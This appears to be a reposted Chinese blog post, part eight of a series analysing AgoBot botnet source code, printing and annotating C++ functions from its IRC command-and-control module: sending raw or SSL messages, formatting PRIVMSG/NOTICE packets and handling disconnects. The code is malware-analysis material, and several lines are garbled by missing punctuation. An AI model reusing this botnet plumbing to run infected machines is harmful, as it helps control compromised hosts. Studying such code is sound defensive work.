AgoBot 僵尸网络研究笔记(八)

来源:互联网 发布:数据分析算法 编辑:程序博客网 时间:2024/05/16 07:32
 

八、2008年3月12日

作者:青青子衿

email:anzijin@sina.com

1 SendRaw ( char  * szMsg )   数据发送函数,将加密发送还是明文发送封装起来

bool   CIRC :: SendRaw ( char  * szMsg )

{

  if ( g_cMainCtrl . m_cBot . si_usessl . bValue //判断是否使用ssl加密

  {  

    //如果使用SSL加密协议,调用CSSLSocket 类的成员函数将消息发送出去

    if ( m_csslSocket . Write ( szMsg strlen ( szMsg ))< strlen ( szMsg ))

    {  

      //如果发送失败, 

      m_bJoined = false ;   //加入频道状态设置为false

      m_bConnected = false //连接状态设置为false

      xClose ( m_sSocket );    //关闭套接字

      m_sSocket = INVALID_SOCKET //将套接字变量,置为无效

      g_cMainCtrl . m_cMac . ClearLogins ();  //清空登录信息列表

      return   false

    }

    else  

    {

      //完成发送成功返回

      return   true

    }

  }

  else

  {  

    //使用明文发送数据

    if ( xWrite ( m_sSocket szMsg strlen ( szMsg ))< strlen ( szMsg ))   //send 函数

    {

      //如果发送失败

      m_bJoined = false

      m_bConnected = false

      xClose ( m_sSocket );

      m_sSocket = INVALID_SOCKET ;

      g_cMainCtrl . m_cMac . ClearLogins ();

      return   false

    }

    else  

    {

      //发送成功

      return   true

    }

 

}

2、  bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)   函数

///////////////////////////////////////////////////////////////////

//

//函数功能:按照指定格式发送数据

//参数:   const char *szFmt   发送数据的格式

//       ...  具体数据的变量,参数个数不确定

//返回值:   如果发送成功返回true,否则返回false

//

////////////////////////////////////////////////////////////////////

bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)

{  

  va_list   va_alist ;

  char   formatbuf [8192]; 

  va_start ( va_alist szFmt );

  vsnprintf ( formatbuf sizeof ( formatbuf ),  szFmt va_alist );  va_end ( va_alist );

  return   SendRaw ( formatbuf ); 

}

3 bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )  函数

///////////////////////////////////////////////////////////////////////////

//

//函数功能:发送消息

//参数:   bool bSilent    标识是否处于静默状态 

//       bool bNotice    发送数据包的类型是否是Notice状态,详细了解Notice含义,参见IRC使用手册

//       char *szMsg     消息内容的buffer

//       char *szDst     保存发送目标的字符串

//返回值:   发送成功返回true,失败返回false

//

/////////////////////////////////////////////////////////////////////////////

bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )

{  

  if ( bSilent //如果bot被设置为静默状态,将不往外发送任何信息,直接返回

  {

    return   false ;

  }

  CString   sTheCmd

  if ( bNotice //如果以NOTICE模式发送

  {

    //命令字符串赋值为字符串NOTICE

    sTheCmd . Assign ( "NOTICE" );

 

  else  

  {  

    //否则赋值为PRIVMSG

    sTheCmd . Assign ( "PRIVMSG" );

  }

  CString   sSendBuf

  sSendBuf . Format ( "%s %s :%s/r/n" sTheCmd . CStr (),  szDst szMsg );  //构造一个完整的IRC数据包

  return   SendRaw ( sSendBuf . Str ());  //发送数据包

}

4 void   CIRC :: Fail ()    函数

/////////////////////////////////////////////////////////////////////////////

//

//函数功能:失败处理

//参数:  

//返回值:   void

//

//////////////////////////////////////////////////////////////////////////////

void   CIRC :: Fail ()

{  

  Disconnect ();   //断开网路连接

  m_iFailCount ++;   //连接失败计数器加1

}

5 void   CIRC :: Disconnect ()   函数

//////////////////////////////////////////////////////////////////////////////////

//

//函数功能:断开连接

//参数:    

//返回值:   void

//

/////////////////////////////////////////////////////////////////////////////////

void   CIRC :: Disconnect ()

{  

  m_bJoined = false ;    //设置离开频道状态

  m_bConnected = false ;     //设置断开连接状态

  xClose ( m_sSocket );     //关闭套接字

  m_sSocket = INVALID_SOCKET ;   //将套接字变量设置为无效

  g_cMainCtrl . m_cMac . ClearLogins ();   //清空登录列表

}

 
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 新鞋穿着脚累怎么办 买了国产乔丹怎么办 跑完1000米吐了怎么办 翻毛鞋脚染色了怎么办 翻毛皮被染色了怎么办 防鹿皮绒鞋染色怎么办 亚瑟士跑鞋挤脚怎么办 亚瑟士跑鞋很紧怎么办 飞线鞋面破了怎么办 新袜子穿了很滑怎么办 鞋底硬脚底板疼怎么办 新鞋前面太硬怎么办 新鞋子鞋底太硬怎么办 不到一米八的身高想扣篮怎么办 鞋胶粘在鞋面上怎么办 鞋子上沾了胶怎么办 休闲鞋号码大了半码怎么办 高跟鞋大了一码怎么办 浅口单鞋买大了怎么办 新鞋子磨大脚趾怎么办 鞋前面磨大脚趾怎么办 白鞋子蹭黑了怎么办 夏天穿皮鞋捂脚怎么办 耐克赤足掉漆怎么办 鞋子买回来小了怎么办 布鞋大了一码怎么办 鞋子买小了一码怎么办 运动鞋小了一码怎么办 帆布鞋小了一码怎么办 脚踝骨韧带断了怎么办 咖啡喝多了失眠怎么办 奥迪q7电瓶没电怎么办 一岁宝宝坐不稳怎么办 2岁宝宝不肯把尿怎么办 踢足球上肢和下肢不协调怎么办 ppt文字放映时重叠怎么办 月子8天腰背疼怎么办 生完五天腰背疼怎么办 生完孩子腰不好怎么办 养了个白眼狼怎么办 孩子学东西很慢怎么办